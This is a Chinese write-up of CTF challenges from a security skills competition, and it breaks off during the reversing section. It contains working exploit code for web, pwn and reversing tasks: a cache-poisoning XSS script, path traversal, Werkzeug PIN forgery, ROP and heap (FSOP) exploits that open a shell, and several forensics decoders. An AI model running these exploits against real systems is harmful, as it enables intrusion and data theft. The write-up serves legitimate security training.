文章总结: 该文档为创宇杯网络安全技能大赛的解题报告,涵盖三个Web安全挑战。GhostLoader利用ReactRouterCVE-2025-43865漏洞进行缓存投毒,实现XSS攻击读取flag;HackersBlog通过目录扫描发现后台,利用Cookie伪造认证和路径穿越漏洞读取flag;PyBundlePin利用Flask调试器PIN码漏洞获取控制台权限。报告提供了详细的解题步骤和代码示例,技术深度较高,可操作性强。
综合评分: 85
文章分类: CTF,WEB安全,漏洞分析,渗透测试
第一届创宇杯网络安全技能大赛WP
原创
玄网安全 oPis
玄网安全 oPis
玄网安全
2026年9月19日 19:36
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
附件:http://opiscodex.xyz/profile.html
WEB:Ghost Loader
摘要
React Router Framework Mode 的 X-React-Router-Prerender-Data 可伪造 loader 数据。利用该头把公开文章的 widgetBase 投毒到自己的 widget pack,再举报帖子让管理员 bot 加载恶意模块,最后用 admin 身份访问 /admin/export?path=/flag。
解题过程
第 1 步:功能面
登录后可创建 widget pack,以 ES module 形式挂在:
/u/<username>/widgets/<name>/post-tools.js
文章页从 loader 数据里读 widgetBase,再插入:
<script type="module" src="{widgetBase}/post-tools.js"></script>
公开文章带 Cache-Control: public, s-maxage=60,缓存键不包含该请求头。登录用户可 POST /ui/report 让内部浏览器重开文章。/admin/export 仅 admin 可访问。
第 2 步:伪造 prerender 数据并缓存投毒
GET /post/<slug>.data 返回完整 loader JSON。把同样结构放进 X-React-Router-Prerender-Data,只改 routes/post.widgetBase 为自己的 pack。服务端用这份数据渲染 HTML,边缘缓存按 URL 存 60 秒。之后普通请求也会拿到被投毒的 <script type="module">。
这是 React Router CVE-2025-43865(GHSA-cpj6-fhp6-mr6j)在本题中的用法。
第 3 步:bot XSS 读 flag
举报投毒后的 slug。bot 以 admin cookie 打开缓存页,执行恶意 widget。先 GET /api/me 确认 role=admin,再请求 /admin/export?path=/flag。
不要让 bot 去导出当前投毒文章本身:/admin/export 会再开一轮浏览,碰到已投毒页面会递归把实例打挂。导出目标用 /flag,请求加 referrerPolicy: "no-referrer"。
import json, time, uuid, requests
BASE = "http://challenge.xiaoyuyc.com:41132"
USER = "p" + uuid.uuid4().hex[:8]
PASS = "p" + uuid.uuid4().hex[:8]
PACK = "w" + uuid.uuid4().hex[:6]
SLUG = "ops-digest"
s = requests.Session()
s.trust_env = False
s.post(BASE + "/ui/register", data={"username": USER, "password": PASS}, timeout=15)
token = s.get(BASE + "/api/me", timeout=10).json()["collectorToken"]
code = f"""
(async () => {{
if (window.__p) return; window.__p = 1;
const send = (b) => fetch("/collect/{token}", {{
method: "POST", headers: {{"Content-Type": "text/plain"}}, body: b
}});
const grab = async (tag, url) => {{
const ac = new AbortController();
const t = setTimeout(() => ac.abort(), 2500);
try {{
const r = await fetch(url, {{
credentials: "include",
referrerPolicy: "no-referrer",
signal: ac.signal
}});
await send(tag + r.status + ":" + (await r.text()).slice(0, 4000));
}} catch (e) {{
await send(tag + "ERR:" + e);
}} finally {{
clearTimeout(t);
}}
}};
await grab("ME:", "/api/me");
await grab("FLAG:", "/admin/export?path=/flag");
}})();
"""
s.post(BASE + "/ui/widgets", data={"name": PACK, "code": code}, timeout=10)
data = s.get(f"{BASE}/post/{SLUG}.data", timeout=10).json()
data["loaderData"]["routes/post"]["widgetBase"] = f"/u/{USER}/widgets/{PACK}"
payload = json.dumps(data, separators=(",", ":"))
for _ in range(20):
p = s.get(
f"{BASE}/post/{SLUG}",
headers={"X-React-Router-Prerender-Data": payload},
timeout=15,
)
if f"/u/{USER}/widgets/{PACK}/post-tools.js" in p.text:
break
time.sleep(5)
else:
raise SystemExit("cache poison failed")
s.post(BASE + "/ui/report", data={"slug": SLUG}, timeout=15)
for _ in range(20):
time.sleep(2)
body = s.get(f"{BASE}/collect/{token}", timeout=10).text
if "flag{" in body:
print(body)
break
验证输出:
ME:200:{"username":"admin","role":"admin","collectorToken":"..."}
FLAG:200:flag{a4c9548c-dd6a-4b58-9947-d7b2434e7e85}
WEB2:Hackers Blog
目录扫描
http://challenge.xiaoyuyc.com:39232//admin/
script>
function refreshCaptcha() {
document.getElementById('captcha_img').src = 'captcha.php?' + Math.random();
}
async function doLogin() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const captcha = document.getElementById('captcha').value;
const msgBox = document.getElementById('message');
if (!username || !password || !captcha) {
msgBox.textContent = "所有字段均为必填!";
msgBox.style.color = "#e74c3c";
return;
}
try {
const response = await fetch('login.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password, captcha })
});
const result = await response.json();
if (result.status === true) {
document.cookie = "admin_auth=true; path=/";
msgBox.style.color = "#2ecc71";
msgBox.textContent = "登录成功,正在跳转...";
setTimeout(() => {
window.location.href = 'home.php';
}, 500);
} else {
msgBox.style.color = "#e74c3c";
msgBox.textContent = result.msg;
refreshCaptcha();
document.getElementById('captcha').value = '';
}
} catch (error) {
msgBox.textContent = "请求服务器失败,请检查网络";
}
}
</script>
登录成功后,前端仅通过 document.cookie = "admin_auth=true" 设置了一个明文 Cookie 作为认证凭证。服务端只检查这个 Cookie 是否存在且值为 true,没有任何 Session 或 Token 验证。
下载功能
在后台「系统维护」页面中发现一个文件下载功能:
测试发现可以下载 download.php``在下时 admin_auth=true 不能少
<?php
session_start();
require_once __DIR__ . '/../config.php';
if (!isset($_COOKIE['admin_auth']) || $_COOKIE['admin_auth'] !== 'true') {
header("HTTP/1.1 403 Forbidden");
die("Permission Denied.");
}
$file = $_GET['file'] ?? '';
if (empty($file)) {
die("Parameter 'file' is missing.");
}
if (strpos($file, '../') !== false) {
echo "哎哟 被过滤了";
$file = str_replace('../', '', $file);
}
$filepath = __DIR__ . '/' . $file;
if (!file_exists($filepath)) {
die("File not found.");
}
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename($filepath));
readfile($filepath);
?>
输入: ....// 检测: strpos 找到 '../' → 触发替换 替换: str_replace('../', '', '....//') 找到位置 [2,3,4] 的 '../' 并移除 剩余: '..' + '/' = '../' 结果: 成功得到 '../',过滤被绕过!
Flag 文件位于 /admin/ 目录下。由于 download.php 的基准路径是 __DIR__(即 /admin/),直接读取:
curl -s -b "admin_auth=true" \
"view-source:http://challenge.xiaoyuyc.com:39232/admin/download.php?file=....//....//....//....//flag"
哎哟 被过滤了flag{51ffe3ae-9152-4bde-9b1e-9e32f4c8d4df}
WEB3:PyBundlePin
摘要
Flask 应用把 Werkzeug debugger PIN 当成控制台口令,并把 /proc``/etc``/sys 以符号链接放进 signed bundle。/bundle/index 泄漏 APP_SALT,ticket 算法可本地伪造,读出 PIN 材料后算出 9 位 PIN,再 POST /console 取 flag。
实例入口形如 http://challenge.xiaoyuyc.com:<PORT>(动态端口,下文用 BASE 表示)。
解题过程
页面写明 Source is provided,实际源码不在静态路由,而在 bundle 的 diag/proc/self/cwd/。公开 index 只列出 notes/*.txt。
漏洞 1:ticket 可伪造(盐值泄漏 + SHA1 截断)
位置:app.py 中 make_ticket(),以及 /bundle/index、/bundle/read。
触发: 访问 /bundle/index 即可拿到 bundle_salt(即环境变量 APP_SALT)。任意相对路径只要用同一算法签名,就能通过 /bundle/read 的 ticket 校验。
成因: 签名为 sha1(f"{APP_SALT}|{normalized_name}")[:24]。盐值直接返回给未认证用户,没有 HMAC 密钥隔离。
影响: 可读取 index 未列出的 bundle 文件(隐藏目录 diag/)。
Payload / 验证:
curl -s "$BASE/bundle/index"
# {"bundle_salt":"...","entries":[{"name":"notes/ops.txt",...}, ...]}
python - <<'PY'
import hashlib
salt = "PUT_SALT_HERE"
name = "notes/ops.txt"
print(hashlib.sha1(f"{salt}|{name}".encode()).hexdigest()[:24])
PY
用算出的 ticket 读 notes/ops.txt,应返回原文,与 index 中官方 ticket 一致。
路径会先 posixpath.normpath 再签名校验:./notes/ops.txt、notes/ops.txt/. 只要规范化结果相同即可。规范化后跳出 bundle 根的路径会返回 bad ticket。
漏洞 2:隐藏 diag 目录 + 符号链接 LFI
位置:seed_bundle()。
(BUNDLE_DIR / "diag" / "runtime").mkdir(parents=True)
# ...
for name, target in {"proc": "/proc", "etc": "/etc", "sys": "/sys"}.items():
os.symlink(target, BUNDLE_DIR / "diag" / name)
触发: 伪造 ticket 读取 diag/...。/bundle/index 只发布 notes/,但 diag/ 同样在 BUNDLE_DIR 内。
成因: 读文件只校验「相对路径 + ticket」,不校验是否出现在 index。diag/proc 等是指向宿主机伪文件系统的 symlink。源码里 BLOCKED_PROC_PARTS = ("/fd/", "/fdinfo/", "/root/"),挡住 fd 劫持和 /proc/self/root,但 /proc/self/cwd、/proc/self/environ、/sys/class/net/*/address、/proc/sys/kernel/random/boot_id 可读。
影响: 任意读容器内大量敏感文件,包括应用源码和 Werkzeug PIN 私有比特。
Payload / 验证:
GET /bundle/read?name=diag&ticket=<sha1(salt|diag)[:24]>
-> {"error":"directories are not previewable"} # 目录存在
GET /bundle/read?name=diag/etc/hostname&ticket=...
-> web2-xxxxxxxx
GET /bundle/read?name=diag/proc/self/cwd/app/app.py&ticket=...
-> 源码(预览截断 8192 字节,size 字段仍是全长)
漏洞 3:故意放置的 traceback 泄漏真实路径
位置:seed_bundle() 写入 diag/runtime/last_error.log。
error_log = (
"Traceback (most recent call last):\n"
f' File "{flask_app_module.__file__}", line 1536, in __call__\n'
...
f' File "{Path(__file__).resolve()}", line 233, in warmup_bundle\n'
...
)
触发: 读 diag/runtime/last_error.log。
成因: 不是真实崩溃日志,启动时用 flask.app.__file__ 和 Path(__file__).resolve() 拼出来,用来提示 PIN 的 mod.__file__ 与应用路径。
影响: 确认:
- Flask 模块文件:
/usr/local/lib/python3.12/site-packages/flask/app.py - 应用文件:
/app/app/app.py - 入口:
gunicorn app.app:app(diag/proc/self/cmdline)
Payload / 验证: 读该 log,应看到上述两条 File "..." 路径。
漏洞 4:Werkzeug PIN 材料可从 diag 拼齐
位置: 启动时 DEBUG_PIN, _ = get_pin_and_cookie_name(app)(Werkzeug 3.1.8)。/console 用该 PIN 做口令,限速 5 次 / 60 秒,但限速 key 吃 X-Forwarded-For。
触发: 读 PIN 输入材料,本地按官方算法生成 9 位 PIN,再 POST /console。
成因: PIN 由 public bits + private bits 的 SHA1 派生,材料全在伪文件系统里:
| 字段 | 取值 | 来源 |
| — | — | — |
| username | ctf | diag/etc/passwd (uid 10001) |
| modname | flask.app | Flask 类所在模块 |
| app .__name__ | Flask | 实例无 __name__,回落到类名 |
| mod.__file__ | /usr/local/lib/python3.12/site-packages/flask/app.py | last_error.log / requirements |
| uuid.getnode() | int("b68462a848cf", 16) | diag/sys/class/net/eth0/address |
| machine-id | boot_id 字符串 | /etc/machine-id 不存在;退回 diag/proc/sys/kernel/random/boot_id。cgroup 为 0::/,rpartition(b"/")[2] 为空,不再追加 |
Werkzeug 3.1.8 算法要点:对非空 bit 依次 sha1.update,再 cookiesalt + pinsalt,取 int(hex,16) 的十进制前 9 位,按 3 位分组。
影响: 离线算出 PIN,绕过「禁止在线爆破」设计。
Payload / 验证: PIN 为 134-676-469。
curl -s -X POST "$BASE/console" \
-H "X-Forwarded-For: 1.2.3.4" \
--data "pin=134-676-469&cmd=flag"
返回:
<pre>flag{69e831a5-957c-4a2c-b9fe-0ffc37a6e49f}</pre>
MISC1:USB Keyboard HID
摘要
题目给出 USB 键盘流量 flag (1).pcapng。解析 usbmon HID 报告,模拟 CapsLock、小键盘、Backspace 和方向键后还原输入文本。
解题过程
第 1 步:提取 HID 报告并模拟键盘输入
pcapng 接口为 Linux usbmon0。有效数据是设备 4、端点 0x81 的中断传输完成包(usbmon type C,xfer_type 1),payload 为 8 字节 HID 键盘报告:
- 字节 0:修饰键(
0x02= Left Shift) - 字节 2–7:扫描码;
0x00为按键释放,忽略 0x39CapsLock 切换大小写0x59–0x62小键盘数字,0x63小键盘小数点,0x58小键盘回车0x2aBackspace、0x50左方向键会改写已输入内容,必须按光标模拟,不能只拼接扫描码
脚本从给定 pcapng 读到最终 flag:
#!/usr/bin/env python3
import re
import struct
from pathlib import Path
PCAP = Path(r"C:\Users\34645\Downloads\flag (1).pcapng")
HID = {
0x04: "a", 0x05: "b", 0x06: "c", 0x07: "d", 0x08: "e", 0x09: "f",
0x0a: "g", 0x0b: "h", 0x0c: "i", 0x0d: "j", 0x0e: "k", 0x0f: "l",
0x10: "m", 0x11: "n", 0x12: "o", 0x13: "p", 0x14: "q", 0x15: "r",
0x16: "s", 0x17: "t", 0x18: "u", 0x19: "v", 0x1a: "w", 0x1b: "x",
0x1c: "y", 0x1d: "z", 0x1e: "1", 0x1f: "2", 0x20: "3", 0x21: "4",
0x22: "5", 0x23: "6", 0x24: "7", 0x25: "8", 0x26: "9", 0x27: "0",
0x28: "\n", 0x2c: " ", 0x2d: "-", 0x2e: "=", 0x2f: "[", 0x30: "]",
0x31: "\\", 0x33: ";", 0x34: "'", 0x35: "`", 0x36: ",", 0x37: ".",
0x38: "/", 0x54: "/", 0x55: "*", 0x56: "-", 0x57: "+", 0x58: "\n",
0x59: "1", 0x5a: "2", 0x5b: "3", 0x5c: "4", 0x5d: "5", 0x5e: "6",
0x5f: "7", 0x60: "8", 0x61: "9", 0x62: "0", 0x63: ".",
}
SHIFT = str.maketrans(
"abcdefghijklmnopqrstuvwxyz1234567890-=[]\\;',./",
"ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"<>?",
)
def epb_packets(blob: bytes):
off = 0
while off + 12 <= len(blob):
btype, blen = struct.unpack_from("<II", blob, off)
if blen < 12 or off + blen > len(blob):
break
if btype == 6:
caplen = struct.unpack_from("<I", blob, off + 20)[0]
yield blob[off + 28 : off + 28 + caplen]
off += blen
def hid_reports(blob: bytes):
for pkt in epb_packets(blob):
if len(pkt) < 72:
continue
if chr(pkt[8]) != "C" or pkt[9] != 1 or pkt[10] != 0x81:
continue
yield pkt[64:72]
def decode(blob: bytes) -> str:
buf, pos, caps, prev = [], 0, False, set()
for report in hid_reports(blob):
keys = [k for k in report[2:] if k]
new_keys = [k for k in keys if k not in prev]
prev = set(keys)
shift = bool(report[0] & 0x22)
for k in new_keys:
if k == 0x39:
caps = not caps
elif k == 0x2a and pos > 0:
del buf[pos - 1]
pos -= 1
elif k == 0x4c and pos < len(buf):
del buf[pos]
elif k == 0x50:
pos = max(0, pos - 1)
elif k == 0x4f:
pos = min(len(buf), pos + 1)
else:
ch = HID.get(k)
if not ch:
continue
if shift:
ch = ch.translate(SHIFT)
elif caps and ch.isalpha():
ch = ch.upper()
buf.insert(pos, ch)
pos += 1
return "".join(buf)
text = decode(PCAP.read_bytes())
print(text)
m = re.search(r"flag\{[^}]+\}", text)
print(m.group(0) if m else "flag not found")
运行输出(截断前文):
Hello! Hacker, please keep this secret key safe and make sure it is not stolen by others.
key:flag{f871360f-c353-42da-a782-d5b8a252d1e4}
flag{f871360f-c353-42da-a782-d5b8a252d1e4}
输入过程中先打出 flag{} 和 UUID,再用左方向键回到花括号内插入内容,最后用 Backspace 修正若干字符。
MISC2:薛定谔的猫
摘要
附件虽然命名为 PDF,但文件头实际是 PNG,PNG 结束后还拼接了一个 ZIP。ZIP 的条目被设置了误导性的加密标志,直接用普通阅读器或解压工具会失败;手工读取 raw-deflate 数据后,从两个 Base64 片段中恢复完整 flag。
解题过程
第 1 步:识别文件类型并拆出 ZIP
检查文件头发现没有 %PDF,而是 PNG magic bytes:
89 50 4e 47 0d 0a 1a 0a
解析 PNG chunk 到 IEND,其结束偏移为 904295。紧接着的数据以 PK\x03\x04 开始,说明文件结构为:
PNG (904295 bytes) || ZIP archive || EOCD 后的附加数据
ZIP 中的条目为 secret/Cat.png 和 secret/cat.txt。条目 general-purpose flag 设置了加密位,但数据本身是可直接解压的 raw-deflate 流;因此忽略该标志并从 local header 读取压缩数据。
第 2 步:提取两段 flag 并拼接
secret/Cat.png 中的文字提示打开 cat.txt。解压 cat.txt 后得到:
恭喜你拿到了老板的秘密,咦?........怎么只有一半!??
ZmxhZ3tlZmI3MjA0YS1hNGJlLTRiNWYtOTQ0OS01
第二行 Base64 解码为 flag 的前半段:
flag{efb7204a-a4be-4b5f-9449-5
继续检查 ZIP 的 EOCD。EOCD 后有一段额外 Base64:
Y2NkODBhZTMxNzl96L+Z5piv57uZ5L2g55qE54yr54yr55qEZmxhZw==
解码结果以 ccd80ae3179} 开头,后面的中文只是提示文本。因此取到 } 为止,并与前半段拼接。
完整复现脚本如下:
#!/usr/bin/env python3
import base64
import re
import struct
import sys
import zlib
from pathlib import Path
PNG = b"\x89PNG\r\n\x1a\n"
LOCAL = b"PK\x03\x04"
EOCD = b"PK\x05\x06"
def find_png_end(data):
if not data.startswith(PNG):
raise ValueError("not a PNG/ZIP polyglot")
pos = 8
while True:
size = struct.unpack_from(">I", data, pos)[0]
kind = data[pos + 4:pos + 8]
pos += 12 + size
if kind == b"IEND":
return pos
def read_entries(archive):
entries = {}
pos = 0
while archive[pos:pos + 4] == LOCAL:
fields = struct.unpack_from("<IHHHHHIIIHH", archive, pos)
_, _, _, method, _, _, _, csize, _, nsize, xsize = fields
name_at = pos + 30
data_at = name_at + nsize + xsize
name = archive[name_at:name_at + nsize].decode()
if name.endswith("/"):
entries[name] = b""
else:
if method != 8:
raise ValueError("unexpected ZIP method")
entries[name] = zlib.decompress(
archive[data_at:data_at + csize], -15
)
pos = data_at + csize
return entries
def solve(path):
data = Path(path).read_bytes()
archive = data[find_png_end(data):]
entries = read_entries(archive)
first_b64 = re.search(
rb"[A-Za-z0-9+/=]{16,}", entries["secret/cat.txt"]
).group()
first = base64.b64decode(first_b64)
eocd = archive.rfind(EOCD)
comment_len = struct.unpack_from("<H", archive, eocd + 20)[0]
tail = archive[eocd + 22 + comment_len:]
second_b64 = re.search(rb"[A-Za-z0-9+/=]{16,}", tail).group()
second = base64.b64decode(second_b64)
suffix = second[:second.index(b"}") + 1]
flag = (first + suffix).decode()
print(flag)
solve(sys.argv[1] if len(sys.argv) > 1 else r"C:\Users\34645\Downloads\cat - 副本.pdf")
运行结果:
flag{efb7204a-a4be-4b5f-9449-5ccd80ae3179}
pwn1:blindrop
摘要
32 位无 PIE 栈溢出服务。软件 canary 把函数参数与局部副本绑在一起,用同一 dword 同时当假 canary 和 ROP 返回地址,leak libc 后 system("/bin/sh")。
解题过程
第 1 步:确认溢出与软件 canary
vuln() 中 read(0, buf, 0x400),buf 在 ebp-0x8c。返回地址在 +0x90。main 传入 expected=0xdcc82f00,函数把该值拷到 ebp-0xc;返回前比较两处,不等则 _exit(1)。溢出必须让 payload[0x80:0x84] == payload[0x94:0x98]。0x94 恰好是 ret 后的第一个栈槽,因此把它设成 ROP 的返回地址,并把同一值写进 +0x80。
远程:challenge.xiaoyuyc.com:29069,Ubuntu 22.04,libc libc6-i386_2.35-0ubuntu3.14。
#!/usr/bin/env python3
from pwn import *
elf = ELF("./blindrop", checksec=False)
context.binary = elf
HOST, PORT = "challenge.xiaoyuyc.com", 29069
MAIN_LOOP = 0x80492F3
POP_EBX_RET = 0x8049022
PUTS_OFF, SYSTEM_OFF, BINSH_OFF = 0x72810, 0x47CD0, 0x1B90D5
def overflow(ret, after_ret):
fake = after_ret[0]
return (
b"A" * 0x80
+ p32(fake)
+ b"B" * 0xC
+ p32(ret)
+ b"".join(p32(x) for x in after_ret)
)
io = remote(HOST, PORT)
io.recvuntil(b"payload> ")
io.send(overflow(elf.plt["write"], [MAIN_LOOP, 1, elf.got["puts"], 4]))
io.recvuntil(b"canary check passed.\n")
libc = u32(io.recvn(4)) - PUTS_OFF
io.recvuntil(b"payload> ")
io.send(overflow(libc + SYSTEM_OFF, [POP_EBX_RET, libc + BINSH_OFF]))
io.recvuntil(b"canary check passed.\n")
io.sendline(b"cat flag")
print(io.recvall(timeout=2).decode(errors="replace"))
Stage 1:write(1, puts@GOT, 4),返回 main+0x31 循环,该地址同时当假 canary。Stage 2:system("/bin/sh"),返回 pop ebx; ret 当假 canary。
flag{c28ff07a-1ed2-4361-9c5e-d33fa150a474}
PWN2:vmpwn
摘要
自定义栈式 VM 的 SETREG 把寄存器号当有符号下标且无边界检查,可覆盖相邻的 funcs[] 函数指针并 CALL 到 win()。
解题过程
第 1 步:覆盖 funcs[0] 调用 win
run_vm 在栈上排布:regs[8]、funcs[2]、stack[16]、sp。funcs[0]=safe_fn,funcs[1]=exit0。win() 读 /flag 并写出。
opcode:1 PUSH imm64、2 SETREG r、3 GETREG r、4 CALL which(which<=1)、5 HALT。SETREG/GETREG 对下标做 movsx 后直接 regs[r],可写到 funcs[0](index 8)。CALL 只检查 which<=1,不检查指针内容。
#!/usr/bin/env python3
from pwn import *
elf = ELF("./vmpwn", checksec=False)
context.binary = elf
HOST, PORT = "challenge.xiaoyuyc.com", 26244
PUSH, SETREG, CALL, HALT = 1, 2, 4, 5
code = bytes([PUSH]) + p64(elf.symbols["win"]) + bytes([SETREG, 8, CALL, 0, HALT])
io = remote(HOST, PORT)
io.recvuntil(b"len> ")
io.sendline(str(len(code)).encode())
io.recvuntil(b"code> ")
io.send(code)
print(io.recvall(timeout=3).decode())
flag{ef2fa786-8080-4afb-bda8-da73c6170bc9}
PWN3:miao
摘要
NoteKeeper 堆笔记题。delete 不置空指针形成 UAF;glibc 2.35 下 unsorted leak + tcache poison _IO_list_all,House of Apple 2 在 exit 时 system(" sh")。
解题过程
第 1 步:UAF leak 后 FSOP
notes[16] 每项 {ptr, size}。delete 只 free(ptr),不 NULL。show/edit 仍可用。edit 还会 ptr[size]=0,必须按原 size 写满。
远程:challenge.xiaoyuyc.com:26575,libc Ubuntu GLIBC 2.35-0ubuntu3.8。unsorted fd 相对 libc 偏移 0x21ace0。tcache fd 经 safe-linking:fd = next ^ (chunk>>12)。
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
elf = ELF("./miao", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
PROMPT = b">> "
io = remote("challenge.xiaoyuyc.com", 26575)
io.recvuntil(PROMPT)
def menu(c): io.sendlineafter(PROMPT, str(c).encode())
def add(sz, data):
menu(1); io.sendlineafter(b"Size: ", str(sz).encode())
io.sendafter(b"Content: ", data.ljust(sz, b"\x00")[:sz])
def delete(i):
menu(2); io.sendlineafter(b"Index: ", str(i).encode())
def show(i, n):
menu(3); io.sendlineafter(b"Index: ", str(i).encode())
io.recvuntil(b"Content: "); return io.recvn(n)
def edit(i, data, sz):
menu(4); io.sendlineafter(b"Index: ", str(i).encode())
io.sendafter(b"Content: ", data.ljust(sz, b"\x00")[:sz])
add(0x500, b"A"*8) # 0 unsorted
add(0x20, b"C"*8) # 1
add(0x20, b"D"*8) # 2 tcache head
add(0x20, b"E"*8) # 3
add(0x400, b"B"*8) # 4 fake FILE
add(0x20, b"G"*8) # 5 guard
delete(0)
libc.address = u64(show(0, 8)) - 0x21ACE0
delete(1)
page = u64(show(1, 8))
delete(2)
fd = u64(show(2, 8))
chunk1 = fd ^ page
chunk2 = chunk1 + 0x30
fp = chunk1 + 0x90
edit(2, p64(libc.sym._IO_list_all ^ (chunk2 >> 12)), 0x20)
wide_data, wide_vtable, lock = fp+0xE8, fp+0x200, fp+0x300
fake = bytearray(0x400)
def w(off, val, n=8): fake[off:off+n] = p64(val)[:n]
fake[0:8] = b" sh\x00\x00\x00\x00"
w(0x20, 0); w(0x28, 1); w(0x88, lock); w(0xA0, wide_data)
w(0xC0, 1, 4); w(0xD8, libc.sym._IO_wfile_jumps)
w(0xE8+0x18, 0); w(0xE8+0x20, 1); w(0xE8+0x30, 0)
w(0xE8+0xE0, wide_vtable); w(0x200+0x68, libc.sym.system)
edit(4, bytes(fake), 0x400)
add(0x20, b"X"*8)
add(0x20, p64(fp))
menu(5)
io.sendline(b"cat flag")
print(io.recvall(timeout=2).decode(errors="replace"))
exit → _IO_flush_all → _IO_wfile_overflow → system(fp)。_flags 用 sh,避免 sh\x00 带上 _IO_UNBUFFERED。
Bye!
flag{ecb2473e-cdfd-4e97-bfef-4c4899d4aa1b}
安卓逆向1:WebPortal
摘要
APK 用 WebView + JNI nativeGetFlag(token) 取 flag。token 是 md5(android_id)(长度 32),assets/native/flag.dat 可用 so 内固定密钥离线解密。
解题过程
第 1 步:离线解密 flag.dat
libchallenge.so 中 Java_com_xiaoyuyc_mobile1_JsBridge_nativeGetFlag:token 转小写后与 md5(Settings.Secure.ANDROID_ID) 比较;通过后读 native/flag.dat(M1: + hex)。解密密钥为 so 中两段 16 字节 XOR:
5d91c42eb70368f019aa7c44d3289f61
XOR 57b1e285de927a932e4b7f5d777671fd
= 0a2026ab6991126337e10319a45eee9c
对密文按字节:key[(3+5i)&0xf] 链式 XOR、i*0x1d+0x41、rol3,i%7!=0 时再按 i%7 旋转。
#!/usr/bin/env python3
from pathlib import Path
from zipfile import ZipFile
apk = Path("WebPortal_1.0.apk")
with ZipFile(apk) as z:
blob = bytes.fromhex(z.read("assets/native/flag.dat")[3:].decode())
so = z.read("lib/arm64-v8a/libchallenge.so")
k1 = bytes.fromhex("5d91c42eb70368f019aa7c44d3289f61")
k2 = bytes.fromhex("57b1e285de927a932e4b7f5d777671fd")
key = bytes(a ^ b for a, b in zip(k1, k2))
MAGIC = 0x2492492492492493
def imod7(i):
x16 = (i * MAGIC) >> 64
x0 = i - x16
x16 = (x16 + (x0 >> 1)) >> 2
return (i + x16 - (x16 << 3)) & 0xFFFFFFFFFFFFFFFF
w15 = (key[7] ^ 0xFFFFFFA5) & 0xFFFFFFFF
x9, out = 3, bytearray()
for i, orig in enumerate(blob):
w15 = (key[x9 & 0xF] ^ w15) & 0xFFFFFFFF
w15 = (w15 ^ ((i * 0x1D + 0x41) & 0xFFFFFFFF)) & 0xFFFFFFFF
w15 = (((w15 >> 5) & 7) | ((w15 << 3) & 0xFFFFFFFF)) & 0xFFFFFFFF
w16 = (w15 ^ orig) & 0xFFFFFFFF
x17 = imod7(i)
if x17:
rot, inv = x17 & 7, (-x17) & 7
w16 = (((w16 & 0xFF) >> rot) | ((w16 << inv) & 0xFFFFFFFF)) & 0xFFFFFFFF
out.append(w16 & 0xFF)
x9 += 5
print(out.decode())
flag{WebView_MobIleI_2026Year}
安卓逆向2:茧中人
摘要
壳 libloader.so 用 Build.FINGERPRINT ^ 0x5A 解密 assets/init_res 得到 DEX。checkFlag 是 native:输入与静态 CIPHER_BLOCK 按签名哈希低字节做 XOR/rol3 比较。界面拼 flag{ + 输入 + }。
解题过程
第 1 步:解 DEX 并还原 checkFlag
init_res 解密:prev=0xAA,out[i]=rol6(prev ^ i ^ ct[i] ^ (fp[i%len(fp)]^0x5A)),prev=ct[i]。用 DEX 魔数/header_size/endian/string_ids_off 恢复 16 字节密钥,对应指纹前缀 com.xiaoyuyc.mob,Adler32 校验通过。
DEX 中 VerificationCenter.CIPHER_BLOCK 在 <clinit>:
c9886591cbb30850a9218890395a6d1759aef4c561d78644515c
native checkFlag(String, byte[]):state = (sigHash & 0xff) ^ 0x83,对每个输入字节 state = rol3(state ^ in[i]),要求 (state + 3*i) & 0xff == cipher[i]。so 内写死期望签名哈希 0xb743fbd9(低字节 0xd9)。逆向得明文 cyctf_mobile2_2026year_yes。
#!/usr/bin/env python3
from pathlib import Path
from zipfile import ZipFile
import struct, zlib
apk = Path("茧中人_1.0.apk")
with ZipFile(apk) as z:
ct = z.read("assets/init_res")
def rol6(x):
return ((x << 6) | ((x >> 2) & 0x3F)) & 0xFF
def ror6(x):
return ((x >> 6) | ((x << 2) & 0xFF)) & 0xFF
def recover(i, pt):
prev = 0xAA if i == 0 else ct[i - 1]
return (ror6(pt) ^ prev ^ i ^ ct[i]) & 0xFF
key = [0] * 16
for i, pt in enumerate(b"dex\n035\x00"):
key[i] = recover(i, pt)
for off, raw in (
(0x20, struct.pack("<I", len(ct))),
(0x24, struct.pack("<I", 0x70)),
(0x28, struct.pack("<I", 0x12345678)),
(0x2C, b"\x00" * 8),
(0x3C, struct.pack("<I", 0x70)),
):
for j, pt in enumerate(raw):
key[(off + j) & 0xF] = recover(off + j, pt)
dex = bytearray(len(ct))
prev = 0xAA
for i in range(len(ct)):
dex[i] = rol6(prev ^ (i & 0xFF) ^ ct[i] ^ key[i & 0xF])
prev = ct[i]
assert dex.startswith(b"dex\n") and zlib.adler32(dex[12:]) & 0xFFFFFFFF == struct.unpack_from("<I", dex, 8)[0]
cipher = bytes.fromhex("c9886591cbb30850a9218890395a6d1759aef4c561d78644515c")
def ror3(x):
return ((x >> 3) | ((x << 5) & 0xFF)) & 0xFF
h, state, pt = 0xD9, 0xD9 ^ 0x83, bytearray()
for i, c in enumerate(cipher):
inp = state ^ ror3((c - 3 * i) & 0xFF)
pt.append(inp)
state = c
print("flag{" + pt.decode() + "}")
flag{cyctf_mobile2_2026year_yes}
RE1:Galgame
摘要
题目给出一个 Ren’Py 游戏包。核心脚本被编译成 RPYC2 文件,校验逻辑和一个经过单字节 XOR 的目标值都保存在解压后的序列化数据中。提取目标并用同样的 XOR 逆变换即可恢复输入。
解题过程
第 1 步:解包 RPYC2
游戏脚本位于 game/script.rpyc,文件头为 RENPY RPC2。头部后紧跟一个小端记录:
slot, offset, compressed_length = struct.unpack("<III", ...)
取出对应的 zlib 数据并解压。解压结果不是普通源码,而是 Ren’Py 序列化的 AST;其中仍保留了 exec 节点中的 Python 源码字符串。
第 2 步:恢复目标输入
在解压数据中可以看到:
heart = b'OJN\x1b\x1a\x1c\x1aHULLI\x1dUL\x1c\x1dKU\x1a\x19KOULO\x1cHKJ\x1e\x1dO\x1a@\x19'
def dec(content):
return ''.join([chr(ord(i) ^ 0x78) for i in content]).encode()
encry_input = dec(user_input)
if encry_input == heart:
# success
